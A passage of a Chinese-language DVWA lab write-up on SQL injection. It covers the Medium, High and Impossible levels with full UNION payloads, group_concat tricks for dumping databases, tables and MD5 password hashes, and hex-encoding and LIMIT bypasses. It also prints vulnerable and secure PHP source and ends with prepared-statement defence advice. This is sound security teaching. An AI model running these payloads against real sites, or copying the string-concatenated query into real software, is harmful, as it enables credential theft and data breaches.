order by N探测,order by 2正常、order by 3报错,判定查询结果共2列,满足Union联合查询条件。 -
Union查询定位页面回显位
使用不存在的ID
0 union select 1,2 --清空前半段查询结果,确定First name对应第1列、Surname对应第2列,两列均为有效回显位。 -
基础环境信息收集
直接通过回显位调用MySQL内置函数获取环境信息:
database()→ 当前库名dvwauser()→ 连接账号dvwa@localhostversion()/@@version_compile_os→ MySQL版本与操作系统
-
四层标准脱库流程(重点:字符串绕过)
数字型注入本身不受转义影响,但脱库过程中
where条件的字符串参数(如表名、库名)会因单引号被转义而出错,需使用十六进制编码绕过:- 查库 :直接查询
information_schema.schemata,无字符串条件,直接获取所有库名; - 查表 :
where table_schema=0x64767761(dvwa的十六进制),或直接用database()函数代替,得到guestbook、users两张表; - 查列 :
where table_name=0x7573657273(users的十六进制)+ 库名限定,拿到user、password等全部字段; - 查数据 :直接查询
dvwa.users表,库表名为标识符无需引号,成功读取所有账号与MD5加密密码。
- 查库 :直接查询
-
数据解密收尾
拿到的MD5哈希通过在线解密平台还原为明文密码,获取后台登录凭证。
核心攻击要点
- 防护失效原因:转义函数只能防字符型注入,数字型注入不需要单引号,转义完全无效;
- 前端限制无用:下拉框只是前端体验限制,抓包改参即可绕过,不能作为安全防护;
- 字符串绕过技巧:脱库时where条件的字符串参数用
0x十六进制编码代替,全程无单引号,完美绕转义; - 偷懒技巧:库名限定可以直接用
database()函数,连十六进制编码都省了; - 漏洞根源:防护手段与注入类型不匹配,只转义了引号却没做数字类型校验,等于白给。
Medium级别就是典型的"以为加了防护其实没用",开发者只想着转义特殊字符,没考虑到数字型注入根本不需要引号。后面High级别会加更多过滤,我们再看怎么绕。
4 DVWA SQL注入实战:High级别(LIMIT限制绕过)
4.1 注入点探测:新窗口的小把戏
把难度调到High,再进SQL Injection模块。哎?输入框又没了,页面上只剩一行字和一个链接:"Click here to change your ID"。

点一下这个链接,弹出了一个新窗口,新窗口里才有输入框让你输User ID。
在这里插入图片描述
这是High级别的第一个变化:输入和展示不在同一个页面,输入在弹窗里提交,结果回到主页面显示。想靠自动化工具跑注入会麻烦一点,但对我们手工注入来说,抓包改参数还是一样的。
第一步:正常输入摸基线
在弹窗里输个 1,提交,主页面返回了admin的数据,正常。

第二步:单引号测试------有没有转义?
在弹窗输入框提交payload 1',页面会回显 Session ID: 1',证明输入内容完整存入Session,后端未做任何过滤处理

点击Close关闭弹窗回到主查询页面,页面直接输出报错提示 Something went wrong.

我们输入的单引号 ' 没有被转义函数处理,直接带入SQL语句拼接为 WHERE user_id = '1'' LIMIT 1;,多余单引号破坏SQL语法触发数据库异常;High级别关闭了原生SQL错误详情回显,统一用模糊提示Something went wrong.展示,但依然能证明单引号成功破坏SQL结构,字符型注入漏洞存在,无输入转义防护。
第三步:逻辑真假测试------确认字符型注入
输 1' and '1'='1:正常返回数据

输 1' and '1'='2:没有返回数据
一个有数据、一个没数据------确认是字符型注入,单引号闭合,和Low级别一样。
这就有意思了:Medium级别好歹还有个
mysqli_real_escape_string装装样子,High级别反而把转义去了?这不是越升级越菜吗?别急,High级别换了个防护思路------它不在输入上做文章,而是在输出上做限制。它觉得:就算你能注入又怎么样?我只让你看一条数据,你总不能一条一条脱库吧?
4.2 猜解字段数:order by探测列数
还是老规矩,order by猜列数。
输 1' order by 2 -- :正常返回,说明至少2列

输 1' order by 3 -- :报错了!

结论:还是2列数据。 列数没变,SQL结构和Low级别一样。
注意:这里的
--注释符已经在发挥作用了。后面我们会看到,High级别的核心防护LIMIT 1就在SQL语句的最后面,注释符能直接把它干掉。
4.3 定位回显位:LIMIT 1的第一个坑
知道了查询一共2列,我们先输入payload 1' union select 1,2 -- 测试回显位,页面效果如图所示:

页面同时打印出两组数据:
第一组:ID为1' union select 1,2 -- ,First name、Surname均为admin;
第二组:ID同样为注入语句,First name为1、Surname为2。
能看到union查询的数字1、2正常回显,但真实用户数据排在第一条,自定义查询结果排在第二条。
这里就是High级别的核心限制坑:
- SQL语句末尾自带
LIMIT 1,同时后端代码仅执行一次mysqli_fetch_assoc()读取首行数据; - 当前payload中
id=1存在真实用户数据,数据库查询结果集第一行是admin账号,自定义union数据为第二行; - 页面会遍历完整结果集全部输出,所以两条数据都展示出来,但如果我们直接查询数据库数据,只会读取第一条展示,无法直接看到union注入的内容。
优化利用思路:改用不存在的ID
0' union select 1,2 --,让前半段WHERE user_id='0'无匹配数据,结果集内仅保留union查询的1、2,页面会只输出我们构造的数字,更方便后续注入查询数据库信息。
解决方法:让前半段查询返回空
和Low级别一样的套路,把id改成一个不存在的值,比如0:
输 0' union select 1,2 -- :

出来了! First name是1,Surname是2。
原理很简单:
- 前半段
WHERE user_id='0',id=0不存在,返回空- 后半段
union select 1,2,返回一行数据- 整个结果集就只有我们的union这一行
- PHP取第一行,自然就是我们的1和2了
两列都能回显,后面查数据直接替换位置就行。
4.4 信息收集:先摸清环境
有了回显位,先查基础信息。字符型注入,和Low级别写法一样。
查数据库名和当前用户:
sql
0' union select database(), user() --

返回:
- First name:
dvwa(当前数据库名) - Surname:
dvwa@localhost(数据库连接用户)
查MySQL版本和操作系统:
sql
0' union select version(), @@version_compile_os --
返回:
- MySQL版本:5.7.26
- 操作系统:Windows 64位
环境和Low、Medium一模一样,没啥变化。
4.5 脱库:LIMIT的两种绕过姿势
信息收集完了,开始脱库。这里有两种思路应对LIMIT 1和"只显示一条"的限制:
思路一:注释符直接干掉LIMIT + group_concat合并输出
既然-- 能把LIMIT 1注释掉,那SQL本身就没有行数限制了。但PHP只取第一条显示怎么办?用group_concat()把所有结果拼成一行字符串,这样一条就能装下所有数据。
思路二:用不存在的id让前半段为空 + group_concat
不注释LIMIT也行,反正前半段是空的,结果集只有我们的union那一行,再用group_concat把所有数据塞到这一行里。
两种思路本质上都是用group_concat解决"只显示一条"的问题。我们用第二种思路来演示,更通用一些。
第一步:查所有数据库名
sql
0' union select convert(group_concat(schema_name) using utf8mb4),2 from information_schema.schemata --

讲解:
用
group_concat(schema_name)把所有库名拼成一行,用逗号分隔;外面套
convert(... using utf8mb4)解决字符集冲突,避免UNION报错;前半段id=0不存在,返回空,所以结果集只有我们这一行数据,PHP取第一条正好就是所有库名。
返回:information_schema,dvwa,两个库。
第二步:查 dvwa 库所有表
sql
0' union select convert(group_concat(table_name) using utf8mb4),2 from information_schema.tables where table_schema=database() --

讲解:
同样用
group_concat(table_name)把所有表名拼成一行;
table_schema=database()直接用函数代替库名字符串,不用写单引号,更方便。
返回:guestbook,users,两张表,目标还是users。
第三步:查 users 表所有列
sql
0' union select convert(group_concat(column_name) using utf8mb4),2 from information_schema.columns where table_name='users' and table_schema=database() --

讲解:
group_concat(column_name)把所有字段名拼成一行,逗号分隔;
table_name='users'这里有单引号,但是High级别没有转义,直接写就行。
返回:user_id,first_name,last_name,user,password,avatar,last_login,failed_login,role,account_enabled
核心字段:user(用户名)、password(密码)。
第四步:读取用户账号密码
sql
0' union select convert(group_concat(user,0x3a,password) using utf8mb4),2 from dvwa.users --

讲解:
group_concat(user,0x3a,password)把用户名和密码拼在一起,中间用冒号(0x3a是冒号的十六进制)分隔,然后每个用户之间用逗号分隔;这样一行就能装下所有账号密码,格式是:
admin:5f4dcc3b...,gordonb:e99a18c...,...直接查
dvwa.users,不用加引号,不受转义影响。
返回一大串,整理一下:
admin:5f4dcc3b5aa765d61d8327deb882cf99gordonb:e99a18c428cb38d5f260853678922e031337:8d3533d75ae2c3966d7e0d4fcc69216bpablo:0d107d09f5bbe40cade3de5c71e9e9b7smithy:5f4dcc3b5aa765d61d8327deb882cf99
所有账号密码一次性全部拿到,脱库完成。
4.6 源码审计(限制输出但不限制输入)
黑盒测试完成后,查看High级别完整源码,路径:/vulnerabilities/sqli/source/high.php
php
<?php
if( isset( $_SESSION [ 'id' ] ) ) {
// Get input
$id = $_SESSION[ 'id' ];
switch ($_DVWA['SQLI_DB']) {
case MYSQL:
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>Something went wrong.</pre>' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
break;
case SQLITE:
global $sqlite_db_connection;
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
#print $query;
try {
$results = $sqlite_db_connection->query($query);
} catch (Exception $e) {
echo 'Caught exception: ' . $e->getMessage();
exit();
}
if ($results) {
while ($row = $results->fetchArray()) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
} else {
echo "Error in fetch ".$sqlite_db->lastErrorMsg();
}
break;
}
}
?>
源码逐行分析:
- 输入从Session获取,无任何过滤转义
php
if( isset( $_SESSION [ 'id' ] ) ) {
$id = $_SESSION[ 'id' ];
不再使用$_POST/$_REQUEST直接接收参数,弹窗提交的id存入会话$_SESSION,主页面从会话读取数据;全程没有mysqli_real_escape_string、类型强转、关键字过滤等防护,用户输入的单引号、union、注释符全部原样带入SQL语句。
这就是页面分为弹窗输入+主页面展示的底层原因,看似参数分离增加工具扫描难度,实则输入依旧完全可控。
- SQL语句:字符型拼接,带LIMIT 1限制
php
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
$id被单引号包裹,标准字符型注入,单引号即可闭合原有SQL语法;- 语句末尾新增
LIMIT 1,数据库层面限制最多返回1行原始匹配数据; - 无预处理、无转义,用户可控变量直接字符串拼接,注入漏洞根源。
- 报错处理:隐藏详细SQL报错,统一模糊提示
php
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>Something went wrong.</pre>' );
对比Low、Medium会直接打印mysqli_error()原生数据库报错,High级别删除了报错详情,语法出错仅输出Something went wrong.,提高手工注入判断难度,但无法阻止漏洞利用。
- 遍历输出所有结果集,while循环而非单次读取
php
while( $row = mysqli_fetch_assoc( $result ) ) {
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
这里纠正之前的误区:源码使用while循环遍历全部查询结果,不是只读取一行,所以你输入1' union select 1,2 -- 后页面能同时打印admin真实数据和1、2注入数据。
LIMIT 1仅限制原始where匹配的行 ,但union会追加新数据到结果集,循环会全部输出,LIMIT限制完全失效。
- SQLITE分支逻辑完全一致
SQLITE查询语句同样直接拼接$id、携带LIMIT 1,使用while循环输出全部结果,同样存在字符型SQL注入漏洞。
一句话总结 High 级别:
防护设计完全本末倒置,放弃输入层转义防护,仅靠Session隔离输入页面、隐藏数据库报错、增加LIMIT 1做输出限制;底层使用while循环输出全部结果集,LIMIT、Session、模糊报错均无法阻挡Union联合注入,仅小幅提升手工注入门槛,高危漏洞依旧存在。
4.7 High级别完整攻击思路总结
DVWA SQL Injection High难度放弃了输入转义的防护思路,转而通过新窗口输入+LIMIT 1限制+只读取一条结果 来限制数据泄露,但因防护方向完全错误,仍属于字符型Union联合查询注入,完整攻击链路如下:
-
新窗口输入绕过
主页面无输入框,仅提供链接点击后弹出新窗口进行输入;输入提交后存入
$_SESSION,主页面从session读取id并查询。看似分离,实则参数仍完全可控,BurpSuite抓包修改POST参数即可注入,与普通注入无本质区别。 -
注入点探测与类型确认
- 单引号
1'触发MySQL语法报错,证明输入直接拼接SQL,无转义防护; 1' and '1'='1正常返回、1' and '1'='2无数据,确认单引号闭合字符型注入,与Low级别一致。
- 单引号
-
Order by猜解查询列数
1' order by 2 --正常、1' order by 3 --报错,判定查询结果共2列,满足Union联合查询条件。注释符--已顺带将SQL末尾的LIMIT 1一并注释。 -
Union查询定位回显位(第一个坑:LIMIT + 只取一条)
- 直接使用存在的id:
1' union select 1,2 --,前半段查到真实用户数据为结果集第一行,PHP仅读取第一条,因此只显示admin,看不到union数据; - 改用不存在的id:
0' union select 1,2 --,前半段查询返回空,union结果成为结果集唯一一行,成功定位First name对应第1列、Surname对应第2列,两处均为有效回显位。
- 直接使用存在的id:
-
基础环境信息收集
通过不存在的id配合union查询,调用MySQL内置函数获取环境信息:
database()→ 当前库名dvwauser()→ 连接账号dvwa@localhostversion()/@@version_compile_os→ MySQL版本与操作系统
-
四层标准脱库流程(核心:group_concat解决单行限制)
针对"只显示一条结果"的限制,使用
group_concat()函数将多行数据合并为单行字符串,突破输出限制:- 查库 :
group_concat(schema_name)将所有库名合并为一行,快速筛选目标库dvwa; - 查表 :
group_concat(table_name)+where table_schema=database(),合并输出所有表名,锁定核心表users; - 查列 :
group_concat(column_name)+ 库表限定,合并输出所有字段名,锁定user、password; - 查数据 :
group_concat(user,0x3a,password)将用户名与密码用冒号拼接、用户间用逗号分隔,一行一次性读取全部账号密码。
- 查库 :
-
数据解密收尾
MD5哈希通过在线解密平台还原为明文密码,获取后台登录凭证。
核心攻击要点
- 防护失效根源:只限制输出行数、不限制输入,属于典型的"防错了方向",
group_concat轻松绕过; - 新窗口+Session只是纸老虎:换了个参数传递方式,本质还是用户可控输入,不影响注入;
- 两种绕过LIMIT的思路:① 注释符直接干掉
LIMIT 1;② 让前半段查询返回空,union结果自然成为第一条; - 单行限制的终极解法:
group_concat(),把任意多行数据合并成一行,一条就能看完整个库; - 字符集兼容:涉及
information_schema系统表时,字段用convert(... using utf8mb4)转码,避免UNION字符集冲突报错。
High级别告诉我们一个道理:防护要从源头(输入)做起,只在输出端做限制是没用的。接下来我们看Impossible级别,看看真正安全的写法应该是什么样的。
5 DVWA SQL注入实战:Impossible级别(安全防护闭环)
5.1 Impossible级别:真的注不进去了
前面Low、Medium、High三个级别,不管防护怎么加,我们总能找到办法绕过去。到了Impossible级别,情况就不一样了------这是DVWA给出的标准答案级别的安全写法,目的就是展示"怎样写才不会有SQL注入"。
先简单测一下,看看是不是真的"不可能"注入。
第一步:单引号测试------直接被拦了
输入 1',提交:
哎?页面啥都没输出!既没有报错,也没有用户数据。
为什么?因为is_numeric()校验不通过------单引号不是数字,直接被挡在SQL查询外面了,连数据库都没碰着。
第二步:Union注入测试------也不行
输入 0 union select 1,2,提交:
还是啥都没有。同样的道理,union、select这些字母都不是纯数字,is_numeric()直接返回false,代码根本不会往下执行SQL查询。
第三步:数字逻辑测试------看看数字型注入行不行
输入 1 and 1=1 提交测试:
页面空白无任何数据、无输出内容。
原因是is_numeric()检测到输入包含字母、空格等非数字字符,直接拦截,代码不会进入数据库查询逻辑;即便绕过该判断,intval()也会将1 and 1=1强制转换为纯数字1,后半段SQL关键字全部丢弃,无法修改SQL查询逻辑,数字型注入完全失效。
结论:Impossible级别从输入层就把所有注入路径堵死了,单引号、关键字、逻辑运算统统进不了数据库。下面我们看源码,分析它到底做了几层防护。
5.2 源码审计(多层防护闭环)
Impossible级别源码路径:/vulnerabilities/sqli/source/impossible.php
php
<?php
if( isset( $_GET[ 'Submit' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$id = $_GET[ 'id' ];
// Was a number entered?
if(is_numeric( $id )) {
$id = intval ($id);
switch ($_DVWA['SQLI_DB']) {
case MYSQL:
// Check the database
$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
$data->bindParam( ':id', $id, PDO::PARAM_INT );
$data->execute();
$row = $data->fetch();
// Make sure only 1 result is returned
if( $data->rowCount() == 1 ) {
// Get values
$first = $row[ 'first_name' ];
$last = $row[ 'last_name' ];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
break;
case SQLITE:
global $sqlite_db_connection;
$stmt = $sqlite_db_connection->prepare('SELECT first_name, last_name FROM users WHERE user_id = :id LIMIT 1;' );
$stmt->bindValue(':id',$id,SQLITE3_INTEGER);
$result = $stmt->execute();
$result->finalize();
if ($result !== false) {
$num_columns = $result->numColumns();
if ($num_columns == 2) {
$row = $result->fetchArray();
// Get values
$first = $row[ 'first_name' ];
$last = $row[ 'last_name' ];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
}
break;
}
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
源码逐行分析:五层防护闭环
- 第一层:CSRF Token防护(防自动化攻击)
php
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
generateSessionToken();
每次访问页面都会生成一个随机的session_token存在服务端,提交请求时必须带上匹配的user_token,校验不通过直接拒绝。
这层防护主要是防自动化工具和跨站攻击。攻击者没法跨站拿到合法token,批量扫描、批量脱库的脚本就跑不起来。
但注意:CSRF Token防不了手工注入,只是提高了攻击门槛,不是SQL注入的核心防护。
- 第二层:输入类型校验(从源头拦截恶意输入)
php
if(is_numeric( $id )) {
is_numeric()判断输入是不是纯数字。只要包含单引号、字母、空格、特殊符号,全部直接拦截,连SQL的边都碰不到。
这是第一道关卡,也是非常有效的一道。字符型注入需要单引号、Union注入需要select关键字、逻辑注入需要and/or------这些全不是数字,全被挡在外面。
- 第三层:强制整型转换(二次保险)
php
$id = intval ($id);
就算is_numeric过了,intval()再强制转一次整数。比如你传个1.5或者1abc,转完都只剩个1,后面的内容全部丢弃。
这层是双保险。哪怕
is_numeric有什么绕过姿势(比如十六进制、科学计数法),intval()一转,最后出来的肯定是个纯整数,绝对带不进任何SQL关键字。
- 第四层:PDO预处理语句(核心防护,根治注入)
php
$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
$data->bindParam( ':id', $id, PDO::PARAM_INT );
$data->execute();
这是防御SQL注入的标准答案------预处理语句(Prepared Statement)+ 参数绑定。
原理:
prepare()先把SQL模板发给数据库,数据库提前编译好语法结构,确定"这里就是个参数位,不是SQL代码";bindParam()再把参数值传过去,指定类型为PDO::PARAM_INT(整型);- 数据库拿到参数后,只会把它当数值处理,绝对不会解析成SQL语法。
就算你能绕过前面的数字校验(实际上绕不过),到了这一层也没用------参数和SQL结构完全分离,用户输入再怎么折腾也改不了SQL逻辑。
SQLite分支也是同样的思路:
prepare预编译 +SQLITE3_INTEGER整型绑定,防护逻辑一致。
- 第五层:结果行数校验(限制数据泄露)
php
if( $data->rowCount() == 1 ) {
查询执行完,还要校验返回结果是不是正好1行。不是1行就不输出。
这层是兜底防护。就算前面所有防护都被突破了(理论上不可能),你也只能查到一条数据,没法批量脱库、没法union查一堆数据。
配合SQL里的
LIMIT 1,双重保证每次只返回一条结果。
- 第六层:无错误信息回显(不给攻击者助攻)
整个代码里找不到mysqli_error()、print_r($e)之类的报错输出。SQL执行错了就静默失败,页面啥都不显示。
Low、Medium级别报错信息直接往页面上怼,等于帮攻击者调试SQL。Impossible级别直接把这个助攻掐了,攻击者连SQL语法错没错都得靠猜,注入难度大幅提升。
一句话总结 Impossible 级别: 六层防护环环相扣,从输入校验到类型转换、从预处理到结果限制、从CSRF防护到报错隐藏,形成完整安全闭环;核心是PDO预处理语句从根本上分离SQL结构与用户输入,配合数字强校验,彻底杜绝SQL注入风险,是生产环境的标准安全写法。
5.3 四个级别防护对比 & SQL注入防御总结
把四个级别放一起对比,就能清晰看到"从完全裸奔到安全闭环"的演进:
| 级别 | 防护手段 | 注入方式 | 漏洞根源 |
|---|---|---|---|
| Low | 无任何防护 | 字符型Union注入 | 直接拼接SQL,连转义都没有 |
| Medium | mysqli_real_escape_string转义 + 前端下拉框 | 数字型Union注入 | 转义只防字符型,数字型不需要引号 |
| High | Session分离输入 + LIMIT 1 + 隐藏报错 | 字符型Union注入(group_concat绕LIMIT) | 只限制输出不限制输入,防护方向错了 |
| Impossible | CSRF Token + 数字校验 + intval强转 + PDO预处理 + 行数校验 + 无报错 | 无(不可注入) | ------ |
SQL注入防御的正确姿势(优先级从高到低):
-
首选:预处理语句(Prepared Statement)+ 参数绑定
这是根治SQL注入的标准答案,PDO、mysqli预处理都可以。核心思想是SQL结构和用户输入完全分离,数据库先编译语法,再传参数,参数永远不会被当成SQL代码执行。
-
输入校验/类型强转
对于数字型参数(id、年龄、数量等),直接
intval()强转成整数,简单高效。对于字符串参数,用正则或白名单校验格式,比如手机号、邮箱、用户名等。
-
特殊字符转义(不推荐单独使用)
mysqli_real_escape_string这类转义函数只能作为补充手段,不能单独依赖。字符集不对、编码绕过、数字型注入等场景下都会失效。 -
最小权限原则
数据库账号只给必要的权限,业务账号别给
drop、alter、file等高权限。就算注入了,危害也能控制住。 -
关闭详细报错
线上环境绝对不能把数据库原生报错输出到页面,统一返回模糊的错误提示,别给攻击者送助攻。
-
Web应用防火墙(WAF)
作为外围防护,能拦截大部分常见的注入payload。但WAF不是万能的,绕过姿势很多,只能作为补充,不能替代代码层的安全防护。
到这里,DVWA SQL Injection模块四个级别就全部过完了。从Low级别的裸奔注入,到Medium的转义失效,再到High的LIMIT绕过,最后到Impossible的完整防护,整个SQL注入的攻击与防御体系就完整了。核心记住一句话:永远不要相信用户输入,永远不要拼接SQL,预处理语句才是正道。
免责声明
本文档仅用于网络安全学习、Web漏洞原理教学、DVWA靶场本地安全实验研究,所有攻击、注入操作仅在个人本地搭建的DVWA靶场环境内完成。
- 严禁将文中Payload、漏洞利用思路、渗透测试手段用于任何未获得书面授权的网站、服务器、业务系统;未经授权对第三方平台进行SQL注入、抓包、漏洞探测等行为,涉嫌违反《网络安全法》《刑法》相关规定,需承担民事、行政乃至刑事责任。
- 文中讲解的漏洞原理、源码审计、绕过方式仅作安全防御学习参考,用于帮助开发人员理解漏洞成因、掌握Web安全防护手段,禁止用于非法入侵、数据窃取、破坏业务等恶意行为。
- 若读者擅自利用本文内容实施非法网络攻击,产生的一切法律后果、经济损失均由行为人自行承担,本文作者不承担任何连带责任。
- 所有实验操作请仅在个人本地隔离靶机环境中开展,测试前务必确认目标环境为自身拥有、完全可控的教学靶场。